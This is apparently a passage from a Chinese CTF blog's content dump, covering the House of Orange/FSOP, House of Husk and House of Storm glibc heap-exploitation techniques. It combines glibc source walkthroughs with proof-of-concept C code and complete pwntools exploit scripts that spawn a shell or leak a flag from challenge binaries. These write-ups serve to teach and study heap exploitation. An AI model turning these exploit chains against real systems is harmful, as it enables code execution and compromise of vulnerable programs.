\u0026#34;https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\\n\u0026#34;); /* Firstly, lets allocate a chunk on the heap. */ p1 = malloc(0x400-16); top = (size_t *) ( (char *) p1 + 0x400 - 16); top[1] = 0xc01; p2 = malloc(0x1000); io_list_all = top[2] + 0x9a8; top[3] = io_list_all - 0x10; /* At the end, the system function will be invoked with the pointer to this file pointer. If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh) */ memcpy( ( char *) top, \u0026#34;/bin/sh\\x00\u0026#34;, 8); top[1] = 0x61; FILE *fp = (FILE *) top; /* 1. Set mode to 0: fp-\u0026gt;_mode \u0026lt;= 0 */ fp-\u0026gt;_mode = 0; // top+0xc0 /* 2. Set write_base to 2 and write_ptr to 3: fp-\u0026gt;_IO_write_ptr \u0026gt; fp-\u0026gt;_IO_write_base */ fp-\u0026gt;_IO_write_base = (char *) 2; // top+0x20 fp-\u0026gt;_IO_write_ptr = (char *) 3; // top+0x28 /* 4) Finally set the jump table to controlled memory and place system there. The jump table pointer is right after the FILE struct: base_address+sizeof(FILE) = jump_table 4-a) _IO_OVERFLOW calls the ptr at offset 3: jump_table+0x18 == winner */ size_t *jump_table = \u0026amp;top[12]; // controlled memory jump_table[3] = (size_t) \u0026amp;winner; *(size_t *) ((size_t) fp + sizeof(FILE)) = (size_t) jump_table; // top+0xd8 /* Finally, trigger the whole chain by calling malloc */ malloc(10); /* The libc\u0026#39;s error message will be printed to the screen But you\u0026#39;ll get a shell anyways. */ return 0; } int winner(char *ptr) { system(ptr); return 0; } 伪造fake_vtable和fake_fp，unsortedbinattack改_IO_list_all为main_area+88,则0x60大小的smallbin位置为一个chain，在哪里放好fake_fp，fake_fp的vtable为fake_vtable\nFSOP布局 首先篡改_IO_list_all为main_arena+88这个地址，chain字段是首地址加上0x68偏移得到的。因此chain字段决定了下一个IO_FILE结构体的地址为main_arena+88+0x68，这个地址恰好是smallbin中size为0x60的数组，如果我们能将一个chunk放到这个small bin中size为0x60的链上，那么篡改_IO_list_all为main_arena+88这个地址后，small bin中的chunk就是IO_FILE结构体了，将其申请出来后，我们就可以控制这块内存了，从而伪造vtable字段进行布局最终拿到shell。\n需要绕过的检查 1 2 3 4 5 6 7 if (((fp-\u0026gt;_mode \u0026lt;= 0 \u0026amp;\u0026amp; fp-\u0026gt;_IO_write_ptr \u0026gt; fp-\u0026gt;_IO_write_base) || (_IO_vtable_offset (fp) == 0 \u0026amp;\u0026amp; fp-\u0026gt;_mode \u0026gt; 0 \u0026amp;\u0026amp; (fp-\u0026gt;_wide_data-\u0026gt;_IO_write_ptr \u0026gt; fp-\u0026gt;_wide_data-\u0026gt;_IO_write_base)) ) \u0026amp;\u0026amp; _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; 通常满足那个比较省事的，只需要让mode=0,_IO_write_base=0,_IO_write_ptr=1即可\nhouse of orange的成功概率是1/2，因为触发_IO_flush_all_lockp时会根据_IO_list_all和chain字段来去依次遍历链表上的每个结构体，在我们整体布局完成后，第一个结构体就是从main_arena+88开始。而第一个结构体的mode字段是main_arena+88+0xc0处的数据决定的，main_arena+88+0xc0处储存的地址是libc随机化的，所以mode的\u0026gt;0的概率是1/2，当mode\u0026gt;0时会fp-\u0026gt;_mode \u0026gt; 0 \u0026amp;\u0026amp; (fp-\u0026gt;_wide_data-\u0026gt;_IO_write_ptr\u0026gt; fp-\u0026gt;_wide_data-\u0026gt;_IO_write_base，导致在第一个FILE触发overflow 而我们的布局是在第二个FILE上的\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 0x0 _flags 0x8 _IO_read_ptr 0x10 _IO_read_end 0x18 _IO_read_base 0x20 _IO_write_base 0x28 _IO_write_ptr 0x30 _IO_write_end 0x38 _IO_buf_base 0x40 _IO_buf_end 0x48 _IO_save_base 0x50 _IO_backup_base 0x58 _IO_save_end 0x60 _markers 0x68 _chain 0x70 _fileno 0x74 _flags2 0x78 _old_offset 0x80 _cur_column 0x82 _vtable_offset 0x83 _shortbuf 0x88 _lock 0x90 _offset 0x98 _codecvt 0xa0 _wide_data 0xa8 _freeres_list 0xb0 _freeres_buf 0xb8 __pad5 0xc0 _mode 0xc4 _unused2 0xd8 vtable 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 struct _IO_jump_t { JUMP_FIELD(size_t, __dummy); JUMP_FIELD(size_t, __dummy2); JUMP_FIELD(_IO_finish_t, __finish); JUMP_FIELD(_IO_overflow_t, __overflow); JUMP_FIELD(_IO_underflow_t, __underflow); JUMP_FIELD(_IO_underflow_t, __uflow); JUMP_FIELD(_IO_pbackfail_t, __pbackfail); /* showmany */ JUMP_FIELD(_IO_xsputn_t, __xsputn); JUMP_FIELD(_IO_xsgetn_t, __xsgetn); JUMP_FIELD(_IO_seekoff_t, __seekoff); JUMP_FIELD(_IO_seekpos_t, __seekpos); JUMP_FIELD(_IO_setbuf_t, __setbuf); JUMP_FIELD(_IO_sync_t, __sync); JUMP_FIELD(_IO_doallocate_t, __doallocate); JUMP_FIELD(_IO_read_t, __read); JUMP_FIELD(_IO_write_t, __write); JUMP_FIELD(_IO_seek_t, __seek); JUMP_FIELD(_IO_close_t, __close); JUMP_FIELD(_IO_stat_t, __stat); JUMP_FIELD(_IO_showmanyc_t, __showmanyc); JUMP_FIELD(_IO_imbue_t, __imbue); }; [BUU]houseoforange_hitcon_2016 版本2.23程序模拟管理orange的house，我们每次add时，程序会malloc三个chunk,第一个储存chunk大小和内容的地址，第二个是我们真正申请的chunk,第三个储存orange的color和price,但是这两个属性在这个题里没什么用\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 int sub_107C() { _DWORD *v1; // rbx unsigned int v2; // [rsp+8h] [rbp-18h] int v3; // [rsp+Ch] [rbp-14h] if ( unk_203074 \u0026gt; 2u ) return puts(\u0026#34;You can\u0026#39;t upgrade more\u0026#34;); if ( !house ) return puts(\u0026#34;No such house !\u0026#34;); printf(\u0026#34;Length of name :\u0026#34;);//堆溢出 v2 = getnum(); if ( v2 \u0026gt; 0x1000 ) v2 = 4096; printf(\u0026#34;Name:\u0026#34;); getcontent((void *)house[1], v2); printf(\u0026#34;Price of Orange: \u0026#34;); v1 = (_DWORD *)*house; *v1 = getnum(); color(); printf(\u0026#34;Color of Orange: \u0026#34;); v3 = getnum(); if ( v3 != 56746 \u0026amp;\u0026amp; (v3 \u0026lt;= 0 || v3 \u0026gt; 7) ) { puts(\u0026#34;No such color\u0026#34;); exit(1); } if ( v3 == 56746 ) *(_DWORD *)(*house + 4LL) = 56746; else *(_DWORD *)(*house + 4LL) = v3 + 30; ++unk_203074; return puts(\u0026#34;Finish\u0026#34;); } edit函数里有一个堆溢出，chunk大小\u0026lt;0x1000，应该是防house of force,没有free函数，所以可以用house_of_orange。同时由于没有free函数，fd bk不会清除，可以泄露地址\n思路 1 house of orange制造unsrotedbin_chunk\n2 申请一个largebin大小的chunk，这样既可以泄露libc又可以泄露堆地址\n3 unsortedbin修改_IO_list_all为mainarea+88\n4 FSOP，_flags修改为binsh,vtable修改为\u0026amp;vtable,然后修改overflow为system\n5再次malloc触发fsop\n其中 3 4由一次堆溢出完成\nexp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 from pwn import * p=process(\u0026#39;./pwn\u0026#39;) #p=remote(\u0026#39;node5.buuoj.cn\u0026#39;,27013) #libc=ELF(\u0026#39;libc-2.23.so\u0026#39;) libc=ELF(\u0026#39;/home/fuguang/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6\u0026#39;) context.log_level=\u0026#39;debug\u0026#39; context.arch=\u0026#39;amd64\u0026#39; def add(size,content,price:int=0xff,color:int=1): p.sendlineafter(b\u0026#39;choice\u0026#39;,b\u0026#39;1\u0026#39;) p.sendlineafter(b\u0026#39;Length of name :\u0026#39;,str(size)) p.sendafter(b\u0026#39;Name :\u0026#39;,content) p.sendlineafter(\u0026#39;Price\u0026#39;,str(price)) p.sendlineafter(\u0026#39;Color\u0026#39;,str(color)) def show(): p.sendlineafter(b\u0026#39;choice\u0026#39;,b\u0026#39;2\u0026#39;) def edit(size,content,price:int=0xff,color:int=1): p.sendlineafter(b\u0026#39;choice\u0026#39;,b\u0026#39;3\u0026#39;) p.sendlineafter(b\u0026#39;Length of name :\u0026#39;,str(size)) p.sendafter(b\u0026#39;Name:\u0026#39;,content) p.sendlineafter(\u0026#39;Price\u0026#39;,str(price)) p.sendlineafter(\u0026#39;Color\u0026#39;,str(color)) add(0x10,b\u0026#39;a\u0026#39;) edit(0x40,p64(0x61)+p64(0)*2+p64(0x21)+p64(0x1f000000ff)+p64(0)*2+p64(0xfa1)) add(0x1000,b\u0026#39;a\u0026#39;) add(0x400,b\u0026#39;b\u0026#39;) show() p.recvuntil(b\u0026#39;Name of house : \u0026#39;) libcbase=u64(p.recv(6).ljust(8,b\u0026#39;\\x00\u0026#39;))-0x3c5162 print(hex(libcbase)) sys=libcbase+libc.sym[\u0026#39;system\u0026#39;] io_list_all=libcbase+libc.sym[\u0026#39;_IO_list_all\u0026#39;] edit(0x20,b\u0026#39;c\u0026#39;*0x10) show() p.recvuntil(b\u0026#39;c\u0026#39;*0x10) heapbase=u64(p.recv(6).ljust(8,b\u0026#39;\\x00\u0026#39;))-0xc0 print(hex(heapbase)) pay=b\u0026#39;a\u0026#39;*0x400+p64(0)+p64(0x21)+p64(sys)+p64(0) pay+=b\u0026#39;/bin/sh\\x00\u0026#39;+p64(0x61) pay+=p64(0)+p64(io_list_all-0x10) pay+=p64(0)+p64(1) pay+=p64(0)*7+p64(heapbase+0x4f0) pay+=p64(0)*13+p64(heapbase+0x4f0+0xd8) pay+=p64(0)*2+p64(sys) edit(0x1000,pay) print(hex(io_list_all)) #gdb.attach(p) p.sendlineafter(b\u0026#39;choice\u0026#39;,b\u0026#39;1\u0026#39;) p.interactive() ","date":"2026-03-08T00:43:28+08:00","image":"http://localhost:1313/image/orange/House_of_orange.png","permalink":"http://localhost:1313/p/house-of-orangefsop/","title":"House of orange\u0026\u0026FSOP"},{"content":"本文参考了下面两篇文章\nhttps://xz.aliyun.com/news/14821\nhttps://zikh26.github.io/posts/6c83c2a2.html\n介绍:house of husk是对printf函数内部进行注册自定义格式化字符串函数的指针进行劫持，glibc 2.23-2.35该手法均可用\n原理 执行printf函数时，__printf_function_table 是否为空，来判断是否有自定义的格式化字符，如果判定为有的话，则会去执行 __printf_arginfo_table[spec] 处的函数指针，在这期间并没有进行任何地址的合法性检查\n那我们如果劫持__printf_function_table非空，劫持 __printf_arginfo_table 使其表中存放的 spec 的位置是 backdoor()，在执行printf函数时就可以劫持程序执行流到backdoor()\n利用方法 __printf_function_table 和__printf_arginfo_table 分别写为 chunk A 和 chunk B 的地址 设占位符为 α，此时 chunk B 的内容应该为 p64(0) x ord(α-2) + p64(one_gadget) spec是格式化字符串，比如最后调用的是printf(\u0026quot;%X\\n\u0026quot;,a)那么应该将__printf_arginfo_table[88]的位置写入backdoor(),其中88是ord(\u0026lsquo;X\u0026rsquo;)\n该技巧一般和 largebin attack或unsortedbin attack 结合起来 还可以使用relative overwrite 还有一个__printf_va_arg_table 也是可以利用的，但是条件比较苛刻 Relative overwrite 1首先利用largebin attack或unsortedbin attack修改gloabl_max_fast(定义了 fastbin 能够处理的 chunk 最大大小)\nfastbinsY数组位于main_area中，当free一个chunk时，会向fastbinsY数组中写入地址\n2如果修改了gloabl_max_fast，释放是个大chunk时就会造成数组越界从而向两个table中写入堆地址\n源码解析 链条为下面五个部分\nprintf-\u0026gt;vfprintf\nvfprintf-\u0026gt;do_positional\ndo_positional-\u0026gt;printf_positional\nprintf_positional-\u0026gt;__parse_one_specmb(该函数执行自定义格式化字符对应的函数指针)\n__parse_one_specmb-\u0026gt;anyaddr\n__register_printf_function函数 格式化字符的注册函数,实际上是__register_printf_specifier函数的封装\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 /* Register FUNC to be called to format SPEC specifiers. */ int __register_printf_specifier (int spec, printf_function converter, printf_arginfo_size_function arginfo) { if (spec \u0026lt; 0 || spec \u0026gt; (int) UCHAR_MAX) #UCHAR_MAX=0xff { __set_errno (EINVAL); return -1; } int result = 0; __libc_lock_lock (lock); if (__printf_function_table == NULL) { __printf_arginfo_table = (printf_arginfo_size_function **) calloc (UCHAR_MAX + 1, sizeof (void *) * 2); if (__printf_arginfo_table == NULL) { result = -1; goto out; } __printf_function_table = (printf_function **) (__printf_arginfo_table + UCHAR_MAX + 1); } __printf_function_table[spec] = converter; __printf_arginfo_table[spec] = arginfo; out: __libc_lock_unlock (lock); return result; } 先做了一个判断 判断spec是否存在ascil码，再判断printf_function_table == NULL 就设定一个calloc来分配两个索引表，并将地址存放到 __printf_function_table和 __printf_arginfo_table中，两个表大小都是0x100可以给0x0-0xff每个字符注册一个函数指针\nprintf-\u0026gt;vfprintf 1 2 3 4 5 6 7 8 9 10 11 12 int __printf (const char *format, ...) { va_list arg; int done; va_start (arg, format); done = vfprintf (stdout, format, arg); va_end (arg); return done; } vfprintf-\u0026gt;do_positional 1 2 3 4 5 /* Use the slow path in case any printf handler is registered. */ if (__glibc_unlikely (__printf_function_table != NULL || __printf_modifier_table != NULL || __printf_va_arg_table != NULL)) goto do_positional; 这里检查三个table，只要有一个非空就执行do_positional\n通常劫持的是__printf_function_table\ndo_positional-\u0026gt;printf_positional 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 if (__glibc_unlikely (__printf_function_table != NULL || __printf_modifier_table != NULL || __printf_va_arg_table != NULL)) goto do_positional; ...... do_positional: if (__glibc_unlikely (workstart != NULL)) { free (workstart); workstart = NULL; } done = printf_positional (s, format, readonly_format, ap, \u0026amp;ap_save, done, nspecs_done, lead_str_end, work_buffer, save_errno, grouping, thousands_sep); 调用了printf_positional函数\nprintf_positional-\u0026gt;__parse_one_specmb 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 printf_positional (_IO_FILE *s, const CHAR_T *format, int readonly_format, va_list ap, va_list *ap_savep, int done, int nspecs_done, const UCHAR_T *lead_str_end, CHAR_T *work_buffer, int save_errno, const char *grouping, THOUSANDS_SEP_T thousands_sep) { --------------------------------------- /* Parse the format specifier. */ #ifdef COMPILE_WPRINTF nargs += __parse_one_specwc (f, nargs, \u0026amp;specs[nspecs], \u0026amp;max_ref_arg); #else nargs += __parse_one_specmb (f, nargs, \u0026amp;specs[nspecs], \u0026amp;max_ref_arg); #endif//调用__parse_one_specmb } /* Determine the number of arguments the format string consumes. */ nargs = MAX (nargs, max_ref_arg); __parse_one_specmb-\u0026gt;anyaddr 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 #ifdef COMPILE_WPRINTF __parse_one_specwc (const UCHAR_T *format, size_t posn, struct printf_spec *spec, size_t *max_ref_arg) #else __parse_one_specmb (const UCHAR_T *format, size_t posn, struct printf_spec *spec, size_t *max_ref_arg) #endif { unsigned int n; size_t nargs = 0; /* Skip the \u0026#39;%\u0026#39;. */ ++format; -----------------------------------关键代码 if (__builtin_expect (__printf_modifier_table == NULL, 1) || __printf_modifier_table[*format] == NULL || HANDLE_REGISTERED_MODIFIER (\u0026amp;format, \u0026amp;spec-\u0026gt;info) != 0) ... if (__builtin_expect (__printf_function_table == NULL, 1) || spec-\u0026gt;info.spec \u0026gt; UCHAR_MAX || __printf_arginfo_table[spec-\u0026gt;info.spec] == NULL /* We don\u0026#39;t try to get the types for all arguments if the format uses more than one. The normal case is covered though. If the call returns -1 we continue with the normal specifiers. */ || (int) (spec-\u0026gt;ndata_args = (*__printf_arginfo_table[spec-\u0026gt;info.spec]) (\u0026amp;spec-\u0026gt;info, 1, \u0026amp;spec-\u0026gt;data_arg_type, \u0026amp;spec-\u0026gt;size)) \u0026lt; 0) 34c3CTF readme_revenge 1 2 3 4 5 6 7 8 9 10 11 int __fastcall main(int argc, const char **argv, const char **envp) { int v3; // edx int v4; // ecx int v5; // r8d int v6; // r9d _isoc99_scanf((unsigned int)\u0026amp;I010s, (unsigned int)\u0026amp;name, (_DWORD)envp); printf((unsigned int)\u0026#34;Hi, %s. Bye.\\n\u0026#34;, (unsigned int)\u0026amp;name, v3, v4, v5, v6); return 0; } 程序是静态编译的，flag直接储存在data段,且house_of_husk相关的俩个table地址均比name高，可以修改__printf_function_table非空，__printf_arginfo_table为任意地址A满足*(A+8*0x73)=_stack_chk_fail_local地址\n最后把__libc_argv[0]地址改为flag地址\n1 2 调用_stack_chk_fail_local时 会打印出 __libc_argv[0] 指向的字符串 该题中 __libc_argv[0]地址也比name高 只修改上述两个table会触发__parse_one_specmb中的下面代码\n1 2 3 if (__builtin_expect (__printf_modifier_table == NULL, 1) || __printf_modifier_table[*format] == NULL || HANDLE_REGISTERED_MODIFIER (\u0026amp;format, \u0026amp;spec-\u0026gt;info) != 0) 需要控制__printf_modifier_table为空，__printf_modifier_table地址为__printf_function_table地址+8\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 from pwn import* context(log_level=\u0026#39;debug\u0026#39;,arch=\u0026#39;amd64\u0026#39;) p=process(\u0026#39;./pwn\u0026#39;) #%s is 0x73 arg_table=0x6b7aa8 #distance fun_table 0x80 fun_table=0x6b7a28#distance 0x648 name=0x6B73E0 flag=0x6b4040 #__printf_modifier_table 位于 __printf_function_table 地址加 8 的位置 libc_argv=0x6b7980 #distance 0x5a0 #__stack_chk_fail_local leak=0x4359B0 pay=p64(flag)+b\u0026#39;a\u0026#39;*0x598 pay+=p64(name)#libc_argv[0] pay+=b\u0026#39;a\u0026#39;*(0x648-0x5a0-8)+p64(0xdeadbeef)#fun_table pay+=p64(0)#__printf_modifier_table pay+=b\u0026#39;a\u0026#39;*0x70 pay+=p64(arg_table) pay+=p64(0)*0x72+p64(leak) gdb.attach(p,\u0026#39;b *0x400A5C\u0026#39;) p.sendline(pay) p.interactive() ","date":"2026-02-15T00:43:28+08:00","image":"http://localhost:1313/image/husk/House_of_husk.jpg","permalink":"http://localhost:1313/p/house-of-husk34c3ctf-readme_revenge/","title":"House of husk\u0026\u002634c3CTF readme_revenge"},{"content":"https://www.cnblogs.com/Rookle/p/13140339.html\n作用：任意地址分配chunk\n利用条件：\n1 glibc\u0026lt;2.30\n2 能够在largebin和unsortedbin中分别布置一个chunk且unsortedbin中的较大(但要和largebin中的chunk大小在同一范围)\n3 unsortedbin chunk的bk可控(unsortedbin attack)\n4 largebin chunk的bk和bk_nextsize可控(largebin attack)\n源码分析 漏洞发生在unsorted_bin的chunk放入largebin的过程中，以下是glibc2.23的源码分析\n关键代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 victim = unsorted_chunks (av)-\u0026gt;bk bck = victim-\u0026gt;bk unsorted_chunks (av)-\u0026gt;bk = bck bck-\u0026gt;fd = unsorted_chunks (av) --------------------------------------------------------- //下称我们在unsortedbin中布置的chunk为unsorted_chunk //我们控制unsorted_chunk-\u0026gt;bk = fake_chunk //unsorted_chunks(av)-\u0026gt;bk = fake_chunk unsorted_chunks(av)-\u0026gt;bk = unsorted_chunk-\u0026gt;bk; //fake_chunk+0x10 = unsorted_bin bck-\u0026gt;fd = unsorted_chunks(av); //这里将fake_chunk的fd改为了mainarea+88 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 //我们在largebin中布置的chunk称作large_chunk else { /* 如果unsorted_chunk-\u0026gt;size 大于 largbin_chunk-\u0026gt;size， 把unsorted_chunk加入到纵向链表中 我们控制 large_chunk-\u0026gt;bk = fake_chunk+0x8 large_chunk-\u0026gt;bk_nextsize=fake_chunk-0x18-5\t-------------------------------------- { 原代码 victim-\u0026gt;fd_nextsize = fwd; victim-\u0026gt;bk_nextsize = fwd-\u0026gt;bk_nextsize; fwd-\u0026gt;bk_nextsize = victim; victim-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize = victim; --------------------------------------- } bck = fwd-\u0026gt;bk; */ unsorted_chunk-\u0026gt;fd_nextsize = largbin_chunk; //unsorted_chunk-\u0026gt;bk_nextsize = fake_chunk-0x18-5 unsorted_chunk-\u0026gt;bk_nextsize = largbin_chunk-\u0026gt;bk_nextsize; largbin_chunk-\u0026gt;bk_nextsize = unsorted_chunk; //fake_chunk+0x3 = unsorted_chunk unsorted_chunk-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize = unsorted_chunk; //这里设置好了了fake_chunk的size } //bck = fake_chunk+0x8(为下面设置fake_chunk的bk做准备) bck = largbin_chunk-\u0026gt;bk; } } mark_bin(av, unsorted_chunk_index); //把unsorted_chunk加入到的bin的表示为非空 //把unsorted_chunk加入到large bin的链表中 /* victim-\u0026gt;bk = bck; victim-\u0026gt;fd = fwd; fwd-\u0026gt;bk = victim; bck-\u0026gt;fd = victim; */ unsorted_chunk-\u0026gt;bk = bck; unsorted_chunk-\u0026gt;fd = largbin_chunk; largbin_chunk-\u0026gt;bk = unsorted_chunk; //fake_chunk+0x18 = unsorted_chunk bck-\u0026gt;fd = unsorted_chunk; 主要改写就以下4个地方\nunsorted_bin-\u0026gt;bk = fake_chunk #把fake_chunk链到了unsorted_bin中 fake_chunk+0x10 = unsorted_bin #伪造fake_chunk的fd fake_chunk+0x3 = unsorted_chunk #伪造fake_chunk的size fake_chunk+0x18 = unsorted_chunk #伪造fake_chunk的bk 通过以上4步，我们成功伪造一个合法的fake_chunk，满足unsorted bin的要求，并把它链到了unsorted bin中\n关于fake_chunk_size：我们在fake_chunk+0x3位置写入了一个堆地址，该地址的高字节会成为fake_chunk的size,开启ALSR的64位程序堆地址一般是0x57、0x56或0x55开头，这三个个数作为chunk_size，去掉标志位之后都是0x50,但是__int_malloc在拿到chunk后返回到__libc_malloc，__libc_malloc会对chunk的进行检查,要求M位等于1，0x55不符合条件，所以我们可能要多运行几次\n1 2 3 4 5 6 7 8 9 10 11 /* #define arena_for_chunk(ptr) \\ (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)-\u0026gt;ar_ptr : \u0026amp;main_arena) 过以下检测需要满足的要求，只需满足一条即可 1. victim 为 0 2. IS_MMAPPED 为 1 3. NON_MAIN_ARENA 为 0 */ assert(!victim || chunk_is_mmapped(mem2chunk(victim)) || ar_ptr == arena_for_chunk(mem2chunk(victim))); 完整代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 //#define unsorted_chunks(M) (bin_at (M, 1)) //如果unsorted bins不为空，从尾到头遍历unsorted bin中的每个chunk while ((victim = unsorted_chunks(av)-\u0026gt;bk) != unsorted_chunks(av)) { bck = victim-\u0026gt;bk;//取出unsorted的尾部的chunk /* 检查当前遍历的 chunk 是否合法，chunk 的大小不能小于等于 2 * SIZE_SZ， 也不能超过 该分配区总的内存分配量。然后获取 chunk 的大小并赋值给 size。 这里的检查似乎有点小问题，直接使用了 victim-\u0026gt;size，但 victim-\u0026gt;size 中包含了相关的标志位信息，使用 chunksize(victim) 才比较合理，但在 unsorted bin 中的空闲 chunk 的所有标志位都清零了，所以这里直接 victim-\u0026gt;size 没有问题。 */ if (__builtin_expect(victim-\u0026gt;size \u0026lt;= 2 * SIZE_SZ, 0) || __builtin_expect(victim-\u0026gt;size \u0026gt; av-\u0026gt;system_mem, 0)) malloc_printerr(check_action, \u0026#34;malloc(): memory corruption\u0026#34;, chunk2mem(victim), av); size = chunksize(victim);//获取victim的size /* 如果要申请的大小在smallbin范围 且 unsorted chunks 只有一个chunk，且 victim是last_remainder 且 victim的size大于请求的chunk的大小nb加上 (MINSIZE)最小chunk的size,那么就切割remainder,然后返回victim。 last_remainder 是一个 chunk 指针，分配区上次分配 small chunk 时， 从一个 chunk 中分 裂出一个 small chunk 返回给用户，分裂后的剩余部分 形成一个 chunk，last_remainder 就是 指向的这个 chunk。 */ if (in_smallbin_range(nb) \u0026amp;\u0026amp; bck == unsorted_chunks(av) \u0026amp;\u0026amp; victim == av-\u0026gt;last_remainder \u0026amp;\u0026amp; (unsigned long) (size) \u0026gt; (unsigned long) (nb + MINSIZE)) { //分割remainder remainder_size = size - nb;//计算分割后剩下的size remainder = chunk_at_offset(victim, nb);//获取remainder的地址 //把remainder加入unsorted bin中 unsorted_chunks(av)-\u0026gt;bk = unsorted_chunks(av)-\u0026gt;fd = remainder; av-\u0026gt;last_remainder = remainder; // 设置last_remainder为remainder remainder-\u0026gt;bk = remainder-\u0026gt;fd = unsorted_chunks(av); //如果是remainder在large bin的范围，则把fd_nextsize,fd_nextsize清零 if (!in_smallbin_range(remainder_size)) { remainder-\u0026gt;fd_nextsize = NULL; remainder-\u0026gt;fd_nextsize = NULL; } //设置victim的size set_head(victim, nb | PREV_INUSE | (av != \u0026amp;main_arena ? NON_MAIN_ARENA : 0)); //设置remainder的size set_head(remainder, remainder_size | PREV_INUSE); //设置remainder的物理相邻的下一个chunk的prev_size set_foot(remainder, remainder_size); check_malloced_chunk(av, victim, nb);//默认不做任何操作 void *p = chunk2mem(victim);//将chunk指针转化为mem指针 alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做 return p; } //把victim从unsorted bin 中移除 unsorted_chunks(av)-\u0026gt;bk = bck; bck-\u0026gt;fd = unsorted_chunks(av); //如果 victim 的size 与申请的size相等，那么就返回其。 if (size == nb) { //设置victim物理相邻的下一个chunk的prev_inuse位 set_inuse_bit_at_offset(victim, size); //如果av不是main_arena 也就是说如果不是主进程,设置NON_MAIN_ARENA位 if (av != \u0026amp;main_arena) victim-\u0026gt;size |= NON_MAIN_ARENA; check_malloced_chunk(av, victim, nb); // 默认不做任何操作 void *p = chunk2mem(victim);//把chunk转换为mem指针 alloc_perturb(p, bytes);//将p的mem部分全部设置为bytes ,默认什么也不做 return p; } //如果上一步取出的chunk没有匹配成功，那么将该chunk放入对应的bin中 //如果在smallbin的范围,则放到对应多small bin中 if (in_smallbin_range(size)) { victim_index = smallbin_index(size);//获取size对应的smallbin的index bck = bin_at(av, victim_index);//bck指向size对应的smallbin的链表头 //fwd指向size对应的smallbin的链表中的新加入的chunk(small bin使用头插法) fwd = bck-\u0026gt;fd; } else//如果不再smallbin的范围，也就是说在large bin 的范围 { victim_index = largebin_index(size);//获取size对应的large bin的index bck = bin_at(av, victim_index);//bck指向size对应的large bin的链表头 fwd = bck-\u0026gt;fd;//fwd指向size对应的large bin的链表中的新加入的chunk //如果large bin 非空，在largbin进行按顺序插入 if (fwd != bck) { /* Or with inuse bit to speed comparisons */ size |= PREV_INUSE; assert((bck-\u0026gt;bk-\u0026gt;size \u0026amp; NON_MAIN_ARENA) == 0);//默认不启用assert /* large bin中的chunk是按从大到小排列的，如果size \u0026lt; large bin 的最后一个chunk，说明size是这个large bin中的最小的，我们把它 加入到此large bin尾部。 */ if ((unsigned long) (size) \u0026lt; (unsigned long) (bck-\u0026gt;bk-\u0026gt;size)) { fwd = bck; bck = bck-\u0026gt;bk; /* large bin 中size最小的chunk的fd_nextsize会指向size最大的 那个chunk，也就是首部的chunk。同样，large bin 中size最大的 chunk的bk_nextsize会指向size最小的那个chunk。 victim的bk_nextsize指向large bin原来最小的chunk，它的 bk_nextsize指向最大的那个chunk。那么原来的最小的就成了第二小的了。 把它fd_nextsize和bk_nextsize都修正。 */ victim-\u0026gt;fd_nextsize = fwd-\u0026gt;fd; victim-\u0026gt;bk_nextsize = fwd-\u0026gt;fd-\u0026gt;bk_nextsize; //最大size的chunk的bk_nextsize，和原来最小chunk的bk_nextsize都指向victim fwd-\u0026gt;fd-\u0026gt;bk_nextsize = victim-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize = victim; } else //如果victim不是large bin 中最小的chunk { assert((fwd-\u0026gt;size \u0026amp; NON_MAIN_ARENA) == 0);//默认不启用assert //从大到小（从头到尾）找到合适的位置 while ((unsigned long) size \u0026lt; fwd-\u0026gt;size) { fwd = fwd-\u0026gt;fd_nextsize; assert((fwd-\u0026gt;size \u0026amp; NON_MAIN_ARENA) == 0); } //如果size刚好相等，就直接加入到其后面省的改fd_nextsize和bk_nextsize了 if ((unsigned long) size == (unsigned long) fwd-\u0026gt;size) fwd = fwd-\u0026gt;fd; else { //size不相等，即size\u0026gt;fwd-\u0026gt;size，把victim加入到纵向链表中 victim-\u0026gt;fd_nextsize = fwd; victim-\u0026gt;bk_nextsize = fwd-\u0026gt;bk_nextsize; fwd-\u0026gt;bk_nextsize = victim; victim-\u0026gt;bk_nextsize-\u0026gt;fd_nextsize = victim; } bck = fwd-\u0026gt;bk; } } else //如果large bin 为空，将victim加入到纵向列表 victim-\u0026gt;fd_nextsize = 